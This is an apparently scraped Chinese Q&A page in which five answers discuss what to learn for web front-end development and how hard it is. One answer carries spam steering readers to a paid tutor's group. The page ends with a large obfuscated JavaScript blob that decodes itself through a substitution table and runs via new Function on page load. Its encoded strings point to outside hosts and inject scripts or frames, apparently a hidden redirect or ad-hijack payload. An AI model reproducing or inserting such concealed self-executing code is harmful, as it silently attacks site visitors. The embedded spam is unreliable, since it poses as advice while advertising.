web前端需要学什么?容易学吗?

2024-11-15 10:05:01
推荐回答(5个)
回答1:

这里整理了一份web前端学习路线图以及所学内容:

web前端路线图:

第一阶段:专业核心基础

阶段目标:

  • 熟练掌握HTML5、CSS3、Less、Sass、响应式布局、移动端开发。

  • 熟练运用HTML+CSS特性完成页面布局

  • 熟练应用CSS3技术,动画、弹性盒模型设计

  • 熟练完成移动端页面的设计

  • 熟练运用所学知识仿制任意web网站

  • 能综合运用所学知识完成网页设计实战

  • 知识点:

    1、web前端开发环境,HTML常用标签,表单元素,Table布局,CSS样式表,DIV+CSS布局。熟练运用HTML和CSS样式属性完成页面的布局和美化,能够仿制任意网站的前端页面布局。

    2、CSS3选择器、伪类、过渡、变换、动画、字体图标、弹性盒模型、响应式布局、移动端。熟练运用CSS3来开发网页、熟练开发移动端,整理网页开发技巧。

    3、预编译css技术:less、sass基础知识、以及插件的运用、BootStrap源码分析。能够熟练使用 less、sass完成项目开发,深入了解BootStrap。

    4、使用HTML、CSS、LESS、SASS等技术完成网页项目实战。通过项目掌握第一阶段html、css的内容、完成PC端页面设计和移动端页面设计。

    请点击输入图片描述

    第二阶段:Web后台技术

    阶段目标:

    1. 了解JavaScript的发展历史、掌握Node环境搭建及npm使用。

    2. 熟练掌握JavaScript的基本数据类型和变量的概念。

    3. 熟练掌握JavaScript中的运算符使用。

    4. 深入理解分支结构语句和循环语句。

    5. 熟练使用数组来完成各种练习。

    6.熟悉es6的语法、熟练掌握JavaScript面向对象编程。

    7.DOM和BOM实战练习和H5新特性和协议的学习。

    知识点:

    1、软件开发流程、算法、变量、数据类型、分之语句、循环语句、数组和函数。熟练运用JavaScript的知识完成各种练习。

    2、JavaScript面向对象基础、异常处理机制、常见对象api,js的兼容性、ES6新特性。熟练掌握JavaScript面向对象的开发以及掌握es6中的重要内容。

    3、BOM操作和DOM操作。熟练使用BOM的各种对象、熟练操作DOM的对象。

    4、h5相关api、canvas、ajax、数据模拟、touch事件、mockjs。熟练使用所学知识来完成网站项目开发。

    请点击输入图片描述

    第三阶段:数据库和框架实战

    阶段目标:

    1. 综合运用Web前端技术进行页面布局与美化。

    2. 综合运用Web前端开发框架进行Web系统开发。

    3. 熟练掌握Mysql、Mongodb数据库的发开。

    4. 熟练掌握vue.js、webpack、elementui等前端框技术。

    5. 熟练运用Node.js开发后台应用程序。

    6. 对Restful,Ajax,JSON,开发过程有深入的理解,掌握git的基本技能。

    知识点:

    1、数据库知识,范式,MySQL配置,命令,建库建表,数据的增删改查,mongodb数据库。深入理解数据库管理系统通用知识及MySQL数据库的使用与管理,为Node.js后台开发打下坚实基础。

    2、模块系统,函数,路由,全局对象,文件系统,请求处理,Web模块,Express框架,MySQL数据库处理,RestfulAPI,文件上传等。熟练运用Node.js运行环境和后台开发框架完成Web系统的后台开发。

    3、vue的组件、生命周期、路由、组件、前端工程化、webpack、elementui框架。Vue.js框架的基本使用有清晰的理解,能够运用Vue.js完成基础前端开发、熟练运用Vue.js框架的高级功能完成Web前端开发和组件开发,对MVVM模式有深刻理解。

    4、需求分析,数据库设计,后台开发,使用vue、node完成pc和移动端整站开发。于Node.js+Vue.js+Webpack+Mysql+Mongodb+Git,实现整站项目完整功能并上线发布。

    请点击输入图片描述

    第四阶段:移动端和微信实战

    阶段目标:

    1.熟练掌握React.js框架,熟练使用React.js完成开发。

    2.掌握移动端开发原理,理解原生开发和混合开发。

    3.熟练使用react-native和Flutter框架完成移动端开发。

    4.掌握微信小程序以及了解支付宝小程序的开发。

    5.完成大型电商项目开发。

    知识点:

    1、React面向组件编程、表单数据、组件通信、监听、生命周期、路由、Redux基本概念。练使用react完成项目开发、掌握Redux中的异步解决方案Saga。

    2、react-native、开发工具、视图与渲染、api操作、Flutter环境搭建、路由、ListView组件、网络请求、打包。练掌握react-native和Flutter框架,并分别使用react-native和Flutter分别能开发移动端项目。

    3、微信小程序基本介绍、开发工具、视图与渲染、api操作、支付宝小程序的入门和api学习。掌握微信小程序开发了解支付宝小程序。

    4、大型购物网站实战,整个项目前后端分离开发;整个项目分为四部分:PC端网页、移动端APP、小程序、后台管理。团队协作开发,使用git进行版本控制。目期间可以扩展Three.js 、TypeScript。

回答2:

1、DIV+CSS阶段,需要了解样式在页面中产生的作用和效果。并对跨浏览器兼容有充分的认识。
在这一阶段,主要工作基本就是切图。如果你一点基础都没有,可能要从HTML开始学起,知道标签的语义,然后试着看看样式表的选择器,找一本书看一看,然后就是多练习,做的多了,自然遇到问题更多,经验就会增加。
2、JS表现阶段。 需要了解Javascript脚本,了解事件模型等等。。 这一步,需要第一阶段作为基础。
在这一阶段,主要工作除了切图之外,你也可以用JS写一些效果了,比如标签的切换,菜单的显示隐藏。
3、JS进阶阶段。在这个时候,你应该会遇到前后台交互的问题。那么,你会使用ajax来解决问题。由于有第二阶段的基础,通过操作DOM,把后台数据通过不刷新网页的方式呈现到前端网页上。
4、交互设计,面向对象的JS。 到了这个时候,你已经会很有经验的对交互设计提出你的意见了,在提高用户体验应该有自己的理解。对脚本框架,也应该有所涉猎了。

回答3:

第一 前端开发难学吗??   总在难易上徘徊,容易内心纠结。

   如果学什么课程之前,首先考虑的难不难学,这会形成一个不好的心理暗示,因为我们很多人的内心都是喜欢去学习简单的容易的东西,而不喜欢学习复杂难的东西,我们的立足点不在是把这个专业学透彻学专业,总是在简单的道路上徘徊,也就意味着我们只能掌握一个皮毛的知识,任何学科专业,学起来都不容易,都需要你们付出心血认真研究,总想不付出努力,随便一学就一步登天的思想,是电视剧看多了吧,就像武侠电视剧里拿到一本武功秘籍,看一两天,咔咔的就学会了,从此天下无敌,然后开始拯救世界了,不好意思,武侠的世界可以这样,现实的世界不是这样的,只能踏踏实实的去努力,逢山开路,遇水架桥。什么难不难的,为了掌握这门技术,去努力就对了,这才是正确的学习态度。

第二  跟着高手学习,即便前端难,也会变的很容易。

       关于前端学习,我一直不主张完全自学,当然自学的精神可嘉,但是自学的时间成本,精力成本太高了,明明可以跟高手学10分钟就能解决的问题, 很多人自己得折腾两三天,即便这个时候问题解决了,自己也被折腾的精疲力尽了,更何况后边还有很多的问题需要去解决,学习的过程就是一个跋山涉水,穿山越岭的过程,自学好比自己一个人走着去学习,,而且这条路你从来没走过,很容易迷路,而高手对这条路已经走了很多遍了,知道哪里有陷阱,哪里有小路可以直达,怎么灭掉路上的那些妖魔鬼怪各种拦路虎。

       有些伙伴说,你说的道理确实对,但是我们去哪里找前端高手,人家为什么要带我们呢?我们也是两眼一抹黑,被迫无奈才自学的嘛,有高手带着,谁愿意一个人苦兮兮的自学呢,为了解决大家这个问题,大家可以跟我师傅学习一下,他每天晚上都在网上有免费直播课,讲的通俗易懂很有条理,也很透彻明白,听了不会让人迷迷糊糊的,而是感觉明明白白的。想听他的网上课程的同学,可以进入他的前端教程资料裙:首先位于开头的一组是:655,其次处于中间地带的一组数字是:567,最后位于尾部的一组数字是:613,把以上三组数字按照先后顺序组合起来即可。学习比拼的不仅仅是努力,还有智慧,还有谋略,学习就像是一场战斗,讲究一个输赢的,你学成了,你就赢了,你最后学的一瓶子不满,半瓶子晃悠,那你就输了。

第三  浅谈前端的学习历程。

说起前端,第一个接触到的就是我们现在每天都可以接触到的网页,而网页的构成又分为三种知识的结合

(1) HTML5:

H5给予前端的感觉就像是一个框架一样,如同建房子,而H5的作用就是将框架给架构出来。而H5其实是通过H4发展过来的,但是由于两者相差太大了,所以并没有用过H4来进行过渡学习。在学习H5的时候,刚开始就遇到了困难,因为各种各样的标签,各种各样的元素,学的我是有点儿晕头转向,不过好在,慢慢的自己也就有了那么一点点了解,基本上,H5中的元素分为行级元素以及块级元素,行级元素都在同一行,除非用到
标签,或者通过样式将其变为块级元素,而块级元素则独占一行,然后就是各种标签的使用了,基本上也可以分为几类,1.文本类,2.多媒体类,3.表格类,4.最为重要的表单类标签,标签的使用需要看情况选择,只有经过不断的练习才能逐步了解。而我自己对于标签的使用也仅限于入门阶段,所以也就不班门弄斧了,我这里所谈只是我自己的学习过程。

 (2) CSS3:

css的中文解释为层叠样式表单,所以它的主要作用就是装饰,由于开始的时候已经接触到了HTML5,所以CSS的作用就是在框架上面进行装修,而这里面就涉及到了,如何去使用CSS,刚开始学习的时候其实我们可能都接触到了,在HTML的代码中,我们也可以对各种各样的标签进行样式的控制,为什么我们还要通过css来进行控制呢?首先,在HTML中对样式进行控制会影响代码的整洁度。其次,在不断的开发过程中,你会发现,其实有很多样式你以前经常使用和编写,那么通过我们学习过Java所以,首先想到的一定是封装,那么既然有了封装的想法,那就有了CSS的出现,CSS的使用有三种形式,一,外部引用,即所有的CSS样式都存在CSS文件夹中,通过link使用二,在HTML头部通过Style标签进行编写使用,三,也就是我们最不提倡的内嵌,即在标签中进行样式编写,但是这样的使用在canvor(画布标签)极为常见,讲到样式就不得不提到最为重要的选择器,选择器的使用可以通过1..+类名来使用,2.#+id进行选择,3.直接通过标签名进行选择,4.可以通过其父容器再对其进行选择,当然在我的学习中最为常见的是通过类名和id进行选择,其次是直接对标签名进行选择,不过这些选择器中,还有一个使用很多的,那就是组合选择器,因为有时两个标签具有相同的样式,所以这时就会产生两个组合选择器。说完了选择器,就要讲到css中的属性了,比如宽width,高height,颜色color都是属性,每个标签都可以设置属性。

  属性学习完就是定位和浮动了以及动画,这些都是让样式更加美化的内容,所以如果需要页面更加美化,那么就要将这部分内容学好,但是很惭愧的是我自己这部分属于没有学好的。

(3)  JavaScript:

JS的作用基本上就是完成前后端的交互,JS的学习过程相对于H5以及CSS3就好了一点点,因为它是可编程性语言,所以对于有过编程语言学习的同学,理解起来还是相对来说容易一点,由于它是弱类型语言,所以对于类型的定义只有Number,String,Boolean,Object,等,而不像java中光是数字类型就有四类八种,而且它不需要编译即可运行,所以它很方便,也很轻量,而且对于变量的定义没有java中的必需声明引用,在JS中一切变量只需要一个Var就可以解决,但是在JS中也有Java中不存在的,比如匿名函数,相当于Java中的方法,即此方法没有方法名,而且可以用变量进行表示,即 var i = function(){};所以对于JS的学习还没有结束。而且还有最为重要DOM和BOM没有学习到。学习还在不断进行,而我也将一往无前。

回答4:

web前端入门还是比较简单的,因为入门级别也就是学习html,css,js。尤其html,css入门很简单,应该在不到一星期的时间就可以,js入门需要的时间比较长些。
虽然说入门比较简单,但是你学会html,css,js,并不容易找到工作。因为现在赋予前端很多任务。比如现在基本上每个公司需要前后端分离,所以你需要至少学会并会应用react,angular,vue这些MVVM框架的一种或两种。需要学些node知识 ,另外现在大多数公司都会团队协作,基本上都会使用git做为版本管理来提高工作效率。如果懂些后端知识的话会更受欢迎 。
当然,学会了并不一定应用地好,一定要会应用,因为前端在应用的过程中会经常踩坑,如何避免踩坑或者遇坑能够快带高效地跳出坑,还是需要实践经验的。一般做过两个项目的就差不能摸清其中的套路。
如果想做前端,做好长期学习的准备。前端尤其最近几年,更新迭代非常地快,做为前端的你需要不断地跟上不断地学习才能不被淘汰。
祝你成功。

回答5:

第一,必须掌握基本的Web前端开发技术,其中包括:CSS、HTML、DOM、BOM、Ajax、JavaScript等,在掌握这些技术的同时,还要清楚地了解它们在不同浏览器上的兼容情况、渲染原理和存在的Bug。
第二,在一名合格的前端工程师的知识结构中,网站性能优化、SEO和服务器端的基础知识也是必须掌握的。
第三,必须学会运用各种工具进行辅助开发。
第四,除了要掌握技术层面的知识,还要掌握理论层面的知识,包括代码的可维护性、组件的易用性、分层语义模板和浏览器分级支持,等等。
可见,看似简单的网页制作,如果要做得更好、更专业,真的是不简单。这就是前端开发的特点,也是让很多人困惑的原因。如此繁杂的知识体系让新手学习起来无从下手,对于老手来说,也时常不知道下一步该学什么。
代码质量是前端开发中应该重点考虑的问题之一。例如,实现一个网站界面可能会有无数种方案,但有些方案的维护成本会比较高,有些方案会存在性能问题,而有些方案则更易于维护,而且性能也比较好。这里的关键影响因素就是代码质量。CSS、HTML、JavaScript这三种前端开发语言的特点是不同的,对代码质量的要求也不同,但它们之间又有着千丝万缕的联系。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();